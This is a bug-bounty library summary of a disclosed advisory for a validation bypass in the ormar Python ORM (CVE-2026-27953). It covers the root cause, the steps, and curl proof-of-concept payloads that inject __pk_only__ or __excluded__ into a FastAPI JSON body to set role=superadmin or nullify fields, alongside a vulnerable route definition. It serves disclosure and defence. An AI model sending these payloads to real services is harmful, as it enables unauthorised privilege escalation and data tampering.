# ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor

ormar's model constructor pops __pk_only__ from user kwargs, skipping all Pydantic validation so injected JSON persists unvalidated fields like role=superadmin to the DB.

- Payout: Research
- Severity: high
- Program: ormar
- Found by: Mistz1
- Disclosed: 2026-03-19
- CVE: CVE-2026-27953
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-f964-whrq-44h8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f964-whrq-44h8
- Tags: area:web domain:oss domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:python tech:rest technique:source-review vuln:access-control vuln:privilege-escalation

**Target:** Python ORM model constructor via FastAPI request body
**Root cause:** NewBaseModel.__init__ extracts __pk_only__ (and __excluded__) from user-supplied **kwargs via .pop() before validation; when true it writes the raw dict to __dict__ and skips __pydantic_validator__.validate_python entirely.
**Steps:**
1. Define an ormar Model and expose it as a FastAPI body param: `async def create_user(user: User): await user.save()`.
2. Send a normal oversized field to confirm 422 validation error.
3. POST body with `{"__pk_only__": true, "name": "", "email": "not-an-email", "role": "superadmin", "balance": -99999}` — returns 200 and persists unvalidated values.
4. Alternatively POST `{"__excluded__": ["email", "role"], ...}` to nullify arbitrary fields during construction.
**How found:** Code review of NewBaseModel.__init__ noticing __pk_only__ was popped from **kwargs (an internal FK optimization) rather than a keyword-only parameter, making it reachable from any user-controlled dict passed to the constructor.
**Exploitation:** Any unauthenticated caller of an endpoint using the canonical ormar-as-FastAPI-body pattern injects __pk_only__:true; ormar pops it before Pydantic sees the data, writes the raw dict, and .save() inserts it directly, letting the attacker set privileged fields (role, balance) and bypass all validators/constraints.
**Escalation:** Privilege escalation by setting role/is_admin fields that validators would otherwise restrict; data-integrity violation via negative balances or oversized strings; __excluded__ nullifies audit/required fields.
**Insight:** Internal-only flags passed through **kwargs via .pop() are attacker-reachable whenever the model is used as a request body; grep ORM/framework constructors for kwargs.pop of dunder-named keys and test them as JSON body fields.

## Proof of concept (copied exactly from the original report)

**curl injecting __pk_only__ to bypass validation**

```
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__pk_only__": true,
    "name": "",
    "email": "not-an-email",
    "role": "superadmin",
    "balance": -99999
  }'
```

**curl injecting __excluded__ to nullify fields**

```
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__excluded__": ["email", "role"],
    "name": "attacker",
    "email": "will-be-nullified@example.com",
    "role": "will-be-nullified"
  }'
```

**Vulnerable FastAPI route and model definition**

```
class User(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="users")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=50)
    email: str = ormar.String(max_length=100)
    role: str = ormar.String(max_length=20, default="user")
    balance: int = ormar.Integer(default=0)

# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
    await user.save()
    return user
```

